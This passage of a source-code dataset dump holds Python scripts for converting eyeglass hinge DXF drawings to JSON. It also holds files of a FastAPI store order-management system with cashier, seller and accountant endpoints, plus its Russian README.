polar_form]\n\n\ndef _flatten(l):\n '''Flattens a tree structure to a list of strings. Nodes with a value of None are removed.'''\n if type(l) is type(\"\"):\n return [l]\n elif type(l) is type(None):\n return []\n else:\n r = []\n for e in l:\n r += _flatten(e)\n return r\n\n\n\n" }, { "alpha_fraction": 0.609279453754425, "alphanum_fraction": 0.6167387962341309, "avg_line_length": 32.68341827392578, "blob_id": "9356160c6d80139f4bedec544d8f6fc9cc9870e8", "content_id": "b6ccfb619a49417ad247b1e33c8e95a94b0c0c25", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6703, "license_type": "no_license", "max_line_length": 137, "num_lines": 199, "path": "/hinges/create_hinge.py", "repo_name": "guildeyewear/framebot2", "src_encoding": "UTF-8", "text": "'''DXF to JSON utility.'''\n\nimport dxfgrabber\nimport math\nimport json\nimport poly\nfrom optparse import OptionParser\nimport sys\n\ndef main():\n \"\"\"Run as a command line program.\"\"\"\n\n parser = OptionParser()\n parser.add_option(\"-f\", \"--face\", dest=\"face\",\n help=\"name of face dxf file\", metavar=\"FACEDXF\")\n parser.add_option(\"-t\", \"--temple\", dest=\"temple\",\n help=\"name of temple dxf file\", metavar=\"TEMPLEDXF\")\n parser.add_option(\"-n\", \"--name\", dest=\"name\",\n help=\"name of hinge\", metavar=\"HINGENAME\")\n parser.add_option(\"-o\", \"--outfile\", dest=\"outfile\",\n help=\"name of output file\", metavar=\"OUTFILE\")\n\n (options, args) = parser.parse_args()\n\n if options.face == None or options.temple == None or options.name == None or options.outfile == None:\n sys.stderr.write(\"Insufficient arguments.\")\n parser.print_help()\n sys.exit(0)\n\n facedxf = dxfgrabber.readfile(options.face)\n templedxf = dxfgrabber.readfile(options.temple)\n spec = {'description': options.name, 'drill_dia': 1.0, 'cb_dia': 2.0, 'cb_depth': 0.5, 'pocket_depth': 1.0}\n process_contour('face', facedxf, spec)\n process_contour('temple', templedxf, spec)\n with open(options.outfile, 'w') as outfile:\n json.dump(spec, outfile)\n\ndef is_same_point(pt1, pt2):\n if(len(pt1) < 2 or len(pt2) < 2): return False\n return abs(pt1[0]-pt2[0]) < .01 and abs(pt1[1]-pt2[1]) < .01\n\ndef get_points(e, startpoint):\n points = []\n if isinstance(e, dxfgrabber.entities.Line):\n points += line_to_points(e)\n elif isinstance(e, dxfgrabber.entities.Polyline):\n points += polyline_to_points(e)\n elif isinstance(e, dxfgrabber.entities.Arc):\n points += arc_to_points(e)\n else:\n raise Exception(\"Unrecognized DXF entity %s.\" % str(e))\n if not is_same_point(startpoint, points[0]):\n print 'points different', startpoint, points[0]\n print 'reversing'\n points.reverse()\n return points\ndef get_start_point(e):\n if isinstance(e, dxfgrabber.entities.Line):\n return e.start\n elif isinstance(e, dxfgrabber.entities.Polyline):\n return e.start\n elif isinstance(e, dxfgrabber.entities.Arc):\n ang = math.radians(e.startangle)\n return [e.center[0]+math.cos(ang)*e.radius, e.center[1]+math.sin(ang)*e.radius]\n return []\ndef get_end_point(e):\n if isinstance(e, dxfgrabber.entities.Line):\n return e.end\n elif isinstance(e, dxfgrabber.entities.Polyline):\n return e.end\n elif isinstance(e, dxfgrabber.entities.Arc):\n ang = math.radians(e.endangle)\n return [e.center[0]+math.cos(ang)*e.radius, e.center[1]+math.sin(ang)*e.radius]\n return []\n\ndef process_contour(name, dxf, spec):\n\n # need to flip because we've modeled the right-side hinges but display left-side\n# def flip(points):\n# return[[-p[0], p[1]] for p in points]\n\n points = []\n # find the first entity that isn't a circle\n e = next(ent for ent in dxf.entities if (isinstance(ent, dxfgrabber.entities.Line) or isinstance(ent, dxfgrabber.entities.Polyline)))\n print e\n firstpoint = e.start\n lastpoint = e.end\n entities = dxf.entities.get_entities()\n\n entities.remove(e)\n points.extend(get_points(e, firstpoint))\n print \"start:\", points\n\n def get_connected_entity(entity_list, point):\n print 'looking for connection to ', point\n print entity_list\n if not entity_list:\n return None\n for ent in entity_list:\n startpoint = get_start_point(ent)\n endpoint = get_end_point(ent)\n print 'entity:', ent, startpoint, endpoint\n if is_same_point(get_start_point(ent), point) or is_same_point(get_end_point(ent), point):\n return ent\n return None\n\n while e and not is_same_point(lastpoint, firstpoint):\n try:\n e = get_connected_entity(entities, lastpoint)\n print 'got entity', e\n print get_points(e, lastpoint)\n points.extend(get_points(e, lastpoint))\n lastpoint = points[-1]\n print 'last poitn is ', lastpoint\n entities.remove(e)\n except StopIteration:\n e = None\n break\n points = filter_duplicate_points(points);\n points.append(points[0]);\n# contour = flip(points)\n# if name == 'face':\n # We messed up the origin in the flip, have to translate back\n# points = [[p[0]+4, p[1]] for p in points]\n\n contour = points\n if not poly.is_ccw(contour):\n contour.reverse()\n contour_name = name + \"_contour\"\n spec[contour_name] = contour\n\n entities = dxf.entities.get_entities()\n holes = [flatten_point(c.center) for c in [e for e in entities if isinstance(e, dxfgrabber.entities.Circle)]]\n holes_name = name + \"_holes\"\n spec[holes_name] = holes\n\n\n\ndef flatten_point(point):\n return [point[0], point[1]]\n\ndef arc_to_points(arc):\n def get_coords(angle):\n ang = math.radians(angle)\n return [arc.center[0] + math.cos(ang)*arc.radius, arc.center[1] + math.sin(ang)*arc.radius]\n def get_range():\n increment = 2\n start = arc.startangle\n end = arc.endangle\n while(start > end):\n end += 360\n return range(int(math.ceil(start)), int(math.ceil(end)), increment)\n print 'getting points for arc', arc.startangle, arc.endangle, arc.center\n print get_range()\n points = [get_start_point(arc)] + [get_coords(angle) for angle in get_range()] + [get_end_point(arc)]\n return points\n\ndef polyline_to_points(entity):\n\n points = [flatten_point(p) for p in entity.points()]\n\n return points\n\ndef line_to_points(entity):\n points = [\n flatten_point(entity.start),\n flatten_point(entity.end)\n ]\n\n return points\n\ndef filter_duplicate_points(points):\n filtered = [points[i] for i in range(1, len(points)) if points[i-1] != points[i]]\n\n return filtered\n\ndef to_polygon(filename):\n \"\"\"Returns list of [x,y] points from DXF.\"\"\"\n\n dxf = dxfgrabber.readfile(filename)\n\n points = []\n\n for e in dxf.entities:\n if isinstance(e, dxfgrabber.entities.Line):\n points += line_to_points(e)\n elif isinstance(e, dxfgrabber.entities.Polyline):\n points += polyline_to_points(e)\n elif isinstance(e, dxfgrabber.entities.Arc):\n points += arc_to_points(e)\n elif isinstance(e, dxfgrabber.entities.Circle):\n pass\n else:\n raise Exception(\"Unrecognized DXF entity %s.\" % str(e))\n\n return filter_duplicate_points(points)\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.5643965005874634, "alphanum_fraction": 0.5891211628913879, "avg_line_length": 34.8629035949707, "blob_id": "05d5c33657e013726ed165e8aa64e1f51f8862a5", "content_id": "c0a0396700fa2025d9010d333902570f041c951c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4449, "license_type": "no_license", "max_line_length": 154, "num_lines": 124, "path": "/hinges/dxf_to_hinge.py", "repo_name": "guildeyewear/framebot2", "src_encoding": "UTF-8", "text": "import dxfgrabber\nimport json\nimport math\nfrom optparse import OptionParser\nimport sys\n\ndef main():\n parser = OptionParser()\n parser.add_option(\"-n\", \"--name\", dest=\"name\",\n help=\"Name of the hinge. Program will load file called <name>.json and output <name>-face.dxf and <name>-temple.dxf.\", metavar = \"HINGENAME\")\n\n (options, args) = parser.parse_args()\n\n if options.name == None:\n sys.stderr.write(\"Not enough arguments\")\n parser.print_help()\n sys.exit(0)\n\n name = options.name\n facename = name + \"-face.dxf\"\n templename = name + \"-temple.dxf\"\n\n facedxf = dxfgrabber.readfile(facename)\n templedxf = dxfgrabber.readfile(templename)\n\n hinge = { 'description': name }\n process_contour(facedxf, \"face\", hinge)\n process_contour(templedxf, \"temple\", hinge)\n\n filename = name + \".json\"\n with open(filename, 'w') as outfile:\n json.dump(hinge, outfile)\n\ndef close_poly(points):\n if abs(points[0][0] - points[-1][0]) < 0.001:\n points[-1] = [points[0][0], points[-1][1]]\n if abs(points[0][1] - points[-1][1]) < 0.001:\n points[-1] = [points[-1][0], points[0][1]]\n\ndef distance(p1, p2):\n return ((p2[0]-p1[0])**2 + (p2[1]-p1[1])**2) ** 0.5\n\ndef process_contour(dxf, name, hinge):\n \"\"\" Take a DXF and produce an object that can be used to create the JSON spec for the hinge.\n ASSUMPTION: the outline of the hinge is in lines or polylines, and holes for the rivets or\n screws are represented as circles.\n ASSUMPTION: If a closed polyline is found, it is assumed to be the entire hinge outline.\"\"\"\n polylines = [entity for entity in dxf.entities if (entity.dxftype == 'POLYLINE')]\n lwpolylines = [entity for entity in dxf.entities if (entity.dxftype == 'LWPOLYLINE')]\n lines = [entity for entity in dxf.entities if entity.dxftype == 'LINE']\n arcs = [entity for entity in dxf.entities if entity.dxftype == 'ARC']\n circles = [entity for entity in dxf.entities if entity.dxftype == 'CIRCLE']\n\n if len(polylines) == 0 and len(lines) == 0 and len(lwpolylines) == 0:\n sys.stderr.write(\"No outline found. Hinge outline should consist of lines or polylines.\")\n sys.exit(0)\n\n holes = [[c.center[0], c.center[1]] for c in circles]\n print 'holes', holes\n hinge[name + \"_holes\"] = holes\n\n\n for polyline in polylines:\n points = []\n bulges = polyline.bulge\n for i, p in enumerate(polyline.points):\n if(bulges[i] == 0):\n points.append([p[0], p[1]])\n else:\n points.append([p[0], p[1]])\n arc_points= bulge_to_points(p, polyline.points[i+1], bulges[i])\n for pt in arc_points:\n points.append([pt[0], pt[1]])\n print points\n close_poly(points)\n hinge[name + '_contour'] = points\n# points = [[p[0], p[1]] for p in polyline.points()]\n# close_poly(points)\n# startpoint = points[0]\n# endpoint = points[-1]\n# if startpoint == endpoint: # closed polyline\n# hinge[name + '_contour'] = points\n return\n\n #TODO: Implement lines and multiple polylines\n\n for polyline in lwpolylines:\n points = []\n bulges = polyline.bulge\n for i, p in enumerate(polyline.points):\n if(bulges[i] == 0):\n points.append([p[0], p[1]])\n else:\n points.append([p[0], p[1]])\n arc_points= bulge_to_points(p, polyline.points[i+1], bulges[i])\n for pt in arc_points:\n points.append([pt[0], pt[1]])\n print points\n close_poly(points)\n hinge[name + '_contour'] = points\n return\n\ndef bulge_to_points(p1, p2, bulge):\n theta = 4*math.atan(bulge) # Included angle of arc\n theta2 = math.pi/2 - abs(theta/2)\n angle_to_next = math.atan2(p2[1]-p1[1], p2[0]-p1[0]) # Angle of vector to next point\n angle_to_cp = angle_to_next - theta2\n chord = distance(p1, p2)\n sagatta = chord/2*abs(bulge)\n radius = ((chord/2)**2 + sagatta**2)/2*sagatta\n cp = (p1[0] + radius*math.cos(angle_to_cp), p1[1] + radius*math.sin(angle_to_cp))\n\n # Generate 20 points along arc\n start = math.atan2(p1[1]-cp[1], p1[0]-cp[0])\n arc_theta = [start + (theta/20)*i for i in range(20)][1:]\n return [(cp[0]+radius*math.cos(t), cp[1]+radius*math.sin(t)) for t in arc_theta]\n\n\n\n\n\n\nif __name__ == '__main__':\n main()\n\n\n" }, { "alpha_fraction": 0.6112813949584961, "alphanum_fraction": 0.6235438585281372, "avg_line_length": 26.644067764282227, "blob_id": "bbc2df706f5b5de25f3ba4c18c8bd77d01369112", "content_id": "3d5afc2e96a8dc27346b0408be26c48b3503a5aa", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1631, "license_type": "no_license", "max_line_length": 95, "num_lines": 59, "path": "/src/create_dxf.py", "repo_name": "guildeyewear/framebot2", "src_encoding": "UTF-8", "text": "from dxfwrite import DXFEngine as dxf\nimport json\nfrom optparse import OptionParser\nimport os\nimport sys\nimport poly\n\ndef log(message):\n sys.stdout.write(message + \"\\n\")\n\ndef main():\n \"\"\"Run as a command line program.\"\"\"\n\n parser = OptionParser()\n parser.add_option(\"-i\", \"--infile\", dest=\"infile\",\n help=\"read specification from INFILE\", metavar=\"INFILE\")\n parser.add_option(\"-u\", \"--url\", dest=\"url\",\n help=\"read specification from URL\", metavar=\"URL\")\n parser.add_option(\"-o\", \"--outdir\", dest=\"outdir\",\n help=\"write manufacturing instruction files to OUTDIR\", metavar=\"OUTDIR\")\n\n (options, args) = parser.parse_args()\n\n if (options.infile == None and options.url == None):\n log(\"Insufficient arguments.\")\n parser.print_help()\n sys.exit(0)\n\n infile = open(options.infile) if options.infile else urllib.urlopen(options.url)\n\n o = json.loads(infile.read())\n\n drawing = dxf.drawing('test.dxf')\n drawing.add_layer('OUTLINE', color=1)\n\n lhole = o['lhole_con']\n polyline = dxf.polyline(layer=\"OUTLINE\")\n polyline.add_vertices(lhole)\n drawing.add(polyline)\n\n p2 = poly.erode(3.175/2.0, lhole)[0]\n p2 = poly.erode(2.0, p2);\n poly2 = dxf.polyline(layer=\"OUTLINE\")\n poly2.add_vertices(p2[0])\n drawing.add(poly2)\n drawing.save()\n\n\n\ndef create_dxf(p):\n drawing = dxf.drawing('test.dxf')\n drawing.add_layer('OUTLINE', color=1)\n polyline = dxf.polyline(layer=\"OUTLINE\")\n polyline.add_vertices(p)\n drawing.add(polyline)\n drawing.save()\n\nif __name__ == '__main__':\n main()\n" } ]
13
Rejlentjless/store_order_management_system-heroku
https://github.com/Rejlentjless/store_order_management_system-heroku
dc41b489c667f39862f77add253906d4c7a9ed72
a50df5031534e156dc7f95923f3a3705e758f0f6
247b3c107281f57eac38e355883a83bf603c91ff
refs/heads/master
2023-05-09T15:57:06.974123
2021-05-12T12:33:49
2021-05-12T12:33:49
366,684,350
0
1
null
null
null
null
null
[ { "alpha_fraction": 0.6341045498847961, "alphanum_fraction": 0.6401028037071228, "avg_line_length": 37.88888931274414, "blob_id": "f05705893e28c1622a798515e105f5ce4d0a7cd3", "content_id": "dc833ce1e42d0a9ca17e797e6aca533486d8e805", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3738, "license_type": "no_license", "max_line_length": 113, "num_lines": 90, "path": "/management_system/services/cashier.py", "repo_name": "Rejlentjless/store_order_management_system-heroku", "src_encoding": "UTF-8", "text": "from datetime import datetime\nfrom typing import List\n\nfrom fastapi import Depends, HTTPException, status\nfrom sqlalchemy.orm import Session\n\nfrom ..database import tables\nfrom ..database.conf_db import get_session\nfrom ..models.cashier import ProductListModel, OrderListModel\n\n\nclass CashierService:\n \"\"\"представления кассира\"\"\"\n def __init__(self, session: Session = Depends(get_session)):\n self.session = session\n\n @staticmethod\n def __sale(price, create_date):\n \"\"\"применение скидки если товару больше 30 дней\"\"\"\n sale = 20 # % скидка\n if abs(datetime.toordinal(datetime.utcnow()) - datetime.toordinal(create_date)) > 30:\n return price - (price*sale/100)\n return price\n\n def _get_product(self, id_product: int) -> tables.ProductDB:\n \"\"\"возвращает продук по его id\"\"\"\n product = self.session.query(tables.ProductDB).filter_by(id=id_product).first()\n if not product:\n raise HTTPException(status_code=status.HTTP_404_NOT_FOUND)\n return product\n\n def _get_order(self, id_order: int) -> tables.OrderDB:\n \"\"\"выводит заказ по id\"\"\"\n order = self.session.query(tables.OrderDB).filter_by(id=id_order).first()\n if not order:\n raise HTTPException(status_code=status.HTTP_404_NOT_FOUND)\n return order\n\n def get_products_list(self) -> List[tables.ProductDB]:\n \"\"\"возвращает список продуктов\"\"\"\n products = self.session.query(tables.ProductDB).all()\n return products\n\n def create_order(self, product_id: int) -> tables.OrderDB:\n \"\"\"создание заказа\"\"\"\n product = self._get_product(product_id)\n order = tables.OrderDB(\n id_product=product.id,\n name_product=product.name,\n price_order=self.__sale(product.price, product.create_product_date)\n )\n self.session.add(order)\n self.session.commit()\n return order\n\n def get_list_order_completed(self) -> List[tables.OrderDB]:\n \"\"\"возвращаеть заказы со статусом <выполненно>\"\"\"\n orders = self.session.query(tables.OrderDB).filter_by(status_order=\"completed\", status_check=False).all()\n return orders\n\n def get_checks(self) -> List[tables.CheckDB]:\n \"\"\"возвращает не оплаченные счета \"\"\"\n checks = self.session.query(tables.CheckDB).filter_by(status_pay=False).all()\n return checks\n\n def create_check(self, order_id: int) -> tables.CheckDB:\n \"\"\"создание счета\"\"\"\n order = self.session.query(tables.OrderDB).filter_by(id=order_id).first()\n if not order or order.status_order != \"completed\":\n raise HTTPException(status_code=status.HTTP_404_NOT_FOUND)\n check = tables.CheckDB(\n id_order=order.id,\n name_product=order.name_product,\n price_to_pay=order.price_order\n )\n order.status_check = True\n self.session.add(check)\n self.session.commit()\n return check\n\n def check_close(self, check_id: int) -> tables.CheckDB:\n \"\"\"закрытие счета - счет оплачен\"\"\"\n check = self.session.query(tables.CheckDB).filter_by(id=check_id).first()\n if not check or check.status_pay:\n raise HTTPException(status_code=status.HTTP_404_NOT_FOUND)\n order = self.session.query(tables.OrderDB).filter_by(id=check.id_order).first()\n order.status_order = \"payed\"\n check.status_pay = True\n self.session.commit()\n return check\n\n" }, { "alpha_fraction": 0.8857142925262451, "alphanum_fraction": 0.8857142925262451, "avg_line_length": 35, "blob_id": "98b1ae9b97a2a48b41fe8200b4b47303b55973dd", "content_id": "c1988fd873b5152a06403fc35cb45168609e99c4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 35, "license_type": "no_license", "max_line_length": 35, "num_lines": 1, "path": "/management_system/models/accountant.py", "repo_name": "Rejlentjless/store_order_management_system-heroku", "src_encoding": "UTF-8", "text": "from .cashier import OrderListModel" }, { "alpha_fraction": 0.6808510422706604, "alphanum_fraction": 0.6838905811309814, "avg_line_length": 35.55555725097656, "blob_id": "2d11310cf5f2b4e04f44415ba8e2d209263ce587", "content_id": "b659e8683a6d95264f27195eadb20799345c1f14", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1044, "license_type": "no_license", "max_line_length": 87, "num_lines": 27, "path": "/management_system/services/seller.py", "repo_name": "Rejlentjless/store_order_management_system-heroku", "src_encoding": "UTF-8", "text": "from typing import List\n\nfrom fastapi import Depends, HTTPException, status\nfrom sqlalchemy.orm import Session\n\nfrom ..database.conf_db import get_session\nfrom ..database import tables\nfrom ..models.seller import OrderListModel\n\n\nclass SellerService:\n def __init__(self, session: Session = Depends(get_session)):\n self.session = session\n\n def get_orders(self) -> List[tables.OrderDB]:\n \"\"\"возвращает заказы со статусом <new>\"\"\"\n orders = self.session.query(tables.OrderDB).filter_by(status_order=\"new\").all()\n return orders\n\n def update_status_order(self, order_id: int) -> tables.OrderDB:\n \"\"\"меняет статус заказа на выполненный <completed>\"\"\"\n order = self.session.query(tables.OrderDB).filter_by(id=order_id).first()\n if not order or order.status_order != \"new\":\n raise HTTPException(status_code=status.HTTP_404_NOT_FOUND)\n order.status_order = \"completed\"\n self.session.commit()\n return order\n" }, { "alpha_fraction": 0.7307692170143127, "alphanum_fraction": 0.7307692170143127, "avg_line_length": 16.828571319580078, "blob_id": "2aa16c2449da386efbafc79236b2807c9110a25b", "content_id": "40f49c4f25305cee59b8acdd39937c249a23fc15", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 624, "license_type": "no_license", "max_line_length": 39, "num_lines": 35, "path": "/management_system/models/cashier.py", "repo_name": "Rejlentjless/store_order_management_system-heroku", "src_encoding": "UTF-8", "text": "from datetime import date\nfrom decimal import Decimal\n\nfrom pydantic import BaseModel\n\nfrom . import BaseClassModel\n\n\nclass ProductListModel(BaseClassModel):\n name: str\n price: Decimal\n create_product_date: date\n\n\nclass OrderListModel(BaseClassModel):\n id_product: int\n name_product: str\n price_order: Decimal\n status_order: str\n create_order_date: date\n\n\nclass CreateOrderModel(BaseModel):\n product_id: int\n\n\nclass CreateCheckModel(BaseModel):\n order_id: int\n\n\nclass CheckListModel(BaseClassModel):\n id_order: int\n name_product: str\n price_to_pay: Decimal\n create_check_date: date\n" }, { "alpha_fraction": 0.6878306865692139, "alphanum_fraction": 0.6878306865692139, "avg_line_length": 24.200000762939453, "blob_id": "f8f0c4ce88593e71a095a10910895b7a09552561", "content_id": "073e0dd62a3453232140c96796fa0b9d39fcf9f5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 844, "license_type": "no_license", "max_line_length": 106, "num_lines": 30, "path": "/management_system/api/accountant.py", "repo_name": "Rejlentjless/store_order_management_system-heroku", "src_encoding": "UTF-8", "text": "from typing import List, Optional\nfrom datetime import date, datetime\n\nfrom fastapi import APIRouter, Depends\n\nfrom ..models.accountant import OrderListModel\nfrom ..services.accountant import AccountantService\n\n\nrouter = APIRouter(\n prefix=\"/accountant\",\n tags=[\"Бухгалтер\"]\n)\n\n\[email protected](\"/orders\", response_model=List[OrderListModel])\ndef get_order_list(\n date_start: Optional[str] = None,\n date_end: Optional[str] = None,\n service: AccountantService = Depends()\n):\n \"\"\"\n ## Получение списка заказов с возможностью выбора промежутка времени (в формате <число>.<месяц>.<год>)\n \\f\n :param date_start:\n :param date_end:\n :param service:\n :return:\n \"\"\"\n return service.get_orders(date_start, date_end)\n" }, { "alpha_fraction": 0.6955337524414062, "alphanum_fraction": 0.6955337524414062, "avg_line_length": 25.60869598388672, "blob_id": "fe70fb5818fe01921603e87aa400ce7b6672bbf8", "content_id": "a78f1bffacddefaceb07310b994f6e9740a60079", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2074, "license_type": "no_license", "max_line_length": 113, "num_lines": 69, "path": "/management_system/api/cashier.py", "repo_name": "Rejlentjless/store_order_management_system-heroku", "src_encoding": "UTF-8", "text": "from typing import List\n\nfrom fastapi import APIRouter, Depends\n\nfrom ..models.cashier import ProductListModel, CreateOrderModel, OrderListModel, CheckListModel, CreateCheckModel\nfrom ..services.cashier import CashierService\n\n\nrouter = APIRouter(\n prefix=\"/cashier\",\n tags=[\"Кассир\"]\n)\n\n\[email protected](\"/products\", response_model=List[ProductListModel])\ndef get_product_list(service: CashierService = Depends()):\n \"\"\"\n ## Получение списка товаров\n \"\"\"\n return service.get_products_list()\n\n\[email protected](\"/create-order\", response_model=OrderListModel)\ndef create_order(\n product_data: CreateOrderModel,\n service: CashierService = Depends()\n):\n \"\"\"\n ## Создание заказа по указанному номеру (id) товара\n \"\"\"\n return service.create_order(product_data.product_id)\n\n\[email protected](\"/orders_completed\", response_model=List[OrderListModel])\ndef get_orders_list(service: CashierService = Depends()):\n \"\"\"\n ## Получение списка заказов которые обработанны продавцом-консультантом (выполненные)\n \"\"\"\n return service.get_list_order_completed()\n\n\[email protected](\"/create_check\", response_model=CheckListModel)\ndef create_check(\n order_data: CreateCheckModel,\n service: CashierService = Depends()\n):\n \"\"\"\n ## Генерация счета на выполненныйй заказ\n \"\"\"\n return service.create_check(order_data.order_id)\n\n\[email protected](\"/checks\", response_model=List[CheckListModel])\ndef get_checks(service: CashierService = Depends()):\n \"\"\"\n ## Полугчение спичка открытых (не оплоченных) счетов\n \"\"\"\n return service.get_checks()\n\n\[email protected](\"/check_close/{check_id}\", response_model=CheckListModel)\ndef close_check(\n check_id: int,\n service: CashierService = Depends()\n):\n \"\"\"\n ## Зактытие счета (счет оплачен)\n \"\"\"\n return service.check_close(check_id)\n" }, { "alpha_fraction": 0.6255201101303101, "alphanum_fraction": 0.6518723964691162, "avg_line_length": 23.03333282470703, "blob_id": "799f801471d2962edfd986185d8dca2d60e45587", "content_id": "015e6bfda176a3685d7c9a72a2c04f929b756fdf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 962, "license_type": "no_license", "max_line_length": 129, "num_lines": 30, "path": "/management_system/app.py", "repo_name": "Rejlentjless/store_order_management_system-heroku", "src_encoding": "UTF-8", "text": "# основной файл приложения\nfrom fastapi import FastAPI\n\nfrom .api import router\n\n\ntags_metadata = [\n {\n \"name\": \"Кассир\",\n \"description\": \"Добавляет заказ, генерирует счет, закрывает счет и заказ\"\n },\n {\n \"name\": \"Продавец-консультант\",\n \"description\": \"Обрабатывает заказ, меняет статус заказа\"\n },\n {\n \"name\": \"Бухгалтер\",\n \"description\": \"Просматривает все заказы. Может выбирать диапозон создания заказов (например с 01.07.2021 до 31.07.2021)\"\n },\n]\n\n\napp = FastAPI(\n title=\"Store order management system\",\n description=\"Система управления заказами в магазине\",\n version=\"1.0.0\",\n openapi_tags=tags_metadata\n)\n\napp.include_router(router=router)\n" }, { "alpha_fraction": 0.6867671608924866, "alphanum_fraction": 0.6867671608924866, "avg_line_length": 28.850000381469727, "blob_id": "4a99b3e3b1cd1c74c0aadbf288481fef7e062318", "content_id": "0bb7c171f6b7af736fe490b92088e059e027af37", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 597, "license_type": "no_license", "max_line_length": 83, "num_lines": 20, "path": "/management_system/services/products.py", "repo_name": "Rejlentjless/store_order_management_system-heroku", "src_encoding": "UTF-8", "text": "from fastapi import Depends\nfrom sqlalchemy.orm import Session\n\nfrom ..database import tables\nfrom ..database.conf_db import get_session\nfrom ..models.products import CreateProductModel\n\n\nclass ProductService:\n def __init__(self, session: Session = Depends(get_session)):\n self.session = session\n\n def create_product(self, product_data: CreateProductModel) -> tables.ProductDB:\n product = tables.ProductDB(\n name=product_data.name,\n price=product_data.price\n )\n self.session.add(product)\n self.session.commit()\n return product\n" }, { "alpha_fraction": 0.49189189076423645, "alphanum_fraction": 0.708108127117157, "avg_line_length": 15.818181991577148, "blob_id": "1b4f4a524dfb0f8da2a25f2d247e60d758897e21", "content_id": "292c095a39f89380d686e2b817b2dc65aca3e8a6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 185, "license_type": "no_license", "max_line_length": 27, "num_lines": 11, "path": "/requirements.txt", "repo_name": "Rejlentjless/store_order_management_system-heroku", "src_encoding": "UTF-8", "text": "click==7.1.2\nfastapi==0.65.0\ngreenlet==1.1.0\nh11==0.12.0\npydantic==1.8.1\npython-dotenv==0.17.1\nSQLAlchemy==1.4.15\nstarlette==0.14.2\ntyping-extensions==3.10.0.0\nuvicorn==0.13.4\ngunicorn\n" }, { "alpha_fraction": 0.8223234415054321, "alphanum_fraction": 0.8223234415054321, "avg_line_length": 26.4375, "blob_id": "bc91e8727e39b5a25baa0968e802fc9a81a01d0e", "content_id": "6f15016f88a17cb8c6a781b58d09f32ad675ee6a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 472, "license_type": "no_license", "max_line_length": 51, "num_lines": 16, "path": "/management_system/api/__init__.py", "repo_name": "Rejlentjless/store_order_management_system-heroku", "src_encoding": "UTF-8", "text": "from fastapi import APIRouter\n\nfrom .cashier import router as cashier_router\nfrom .products import router as product_router\nfrom .seller import router as seller_router\nfrom .accountant import router as accountant_router\n\n\n# корневой роутер\nrouter = APIRouter()\n\n# подключение роутеров\nrouter.include_router(product_router)\nrouter.include_router(cashier_router)\nrouter.include_router(seller_router)\nrouter.include_router(accountant_router)\n" }, { "alpha_fraction": 0.7727272510528564, "alphanum_fraction": 0.7727272510528564, "avg_line_length": 15.5, "blob_id": "f95b04b8cb5d36a33a608062c330b77f6f674e33", "content_id": "8465591a35d9c78776549801ff010caee58015b0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 132, "license_type": "no_license", "max_line_length": 36, "num_lines": 8, "path": "/management_system/models/products.py", "repo_name": "Rejlentjless/store_order_management_system-heroku", "src_encoding": "UTF-8", "text": "from decimal import Decimal\n\nfrom pydantic import BaseModel\n\n\nclass CreateProductModel(BaseModel):\n name: str\n price: Decimal\n" }, { "alpha_fraction": 0.7792046666145325, "alphanum_fraction": 0.7866611480712891, "avg_line_length": 53.8636360168457, "blob_id": "af6501707baa0c09af4d0eeac50090f02bb5601a", "content_id": "95ae8b727c90416eb2d23b6e3528fa605cd15901", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 4135, "license_type": "no_license", "max_line_length": 236, "num_lines": 44, "path": "/README.md", "repo_name": "Rejlentjless/store_order_management_system-heroku", "src_encoding": "UTF-8", "text": "> # Тестовое задание Python backend\n> Реализовать систему для управлением заказами в магазине техники. Представьте, что ваш клиент хочет автоматизировать свой бизнес в магазине техники, и вам нужно внедрить серверную часть для этой автоматизации.\n> \n> ## Тестовое задание Python backend\n> В системе задействованы следующие участники:\n> - Продавец-консультант\n> - Кассир\n> - Бухгалтер\n> \n> Типичный вариант использования:\n> - кассир получает заказ от клиента. В одном заказе может быть только один продукт\n> - добавляет этот заказ в базу данных\n> - продавец-консультант может видеть созданный заказ\n> - обрабатывает его и затем изменяет его статус на «выполнено»\n> \n> После этого:\n> - кассир может сгенерировать счет\n> - принять оплату от клиента и изменить статус заказа на «оплачен»\n> \n> В любое время бухгалтер может видеть все заказы, их статусы, дату, скидку и тд. Бухгалтер указывает промежуток дат по которым необходимо вывести данные о заказах. Например: показать все заказы с 01.07.2019 до 31.07.2019\n> \n> Продукты имеют название, цену и дату создания. В системе должен быть реализован механизм начисления скидок для товаров. Если дата создания продукта больше одного месяца от текущей даты, то на него должна быть предоставлена скидка 20%.\n> \n> Счет должен содержать информацию о товаре (название, цена) и дату создания заказа и дату создания счета.\n> \n> ## Требования к оформлению и критерии оценки\n> Приложение должно быть рабочим. Если присланный код не работает, или его не удаётся запустить из-за отсутствия необходимых инструкций - тестовое задание не рассматривается.\n> - Система должна быть выполнена в виде REST API (либо GraphQL)\n> - В проекте должны быть фикстуры для продуктов\n> - Необходимо предоставить Postman коллекцию (GraphQL Playground) со всеми ендпоинтами, либо документацию к реализованным endpoints в любом удобном для вас виде\n> - Код должен соответствовать общепринятым стилевым и организационным стандартам действующим для выбранных вами языков и технологий\n> - По возможности код должен сопровождаться разумными комментариями, юнит-тестами, прочими инструкциями.\n---\n> ## Для выполнения задания было задействовано:\n> - FastAPI\n> - SQLAlchemy (SQLite)\n---\n> ## Запуск приложения на локальном сервере\n> - установка необходимых пакетов\n>> pip install -r requirements.txt\n> - запуск приложения с консоли\n>> uvicorn management.app:app --reload\n---\n> 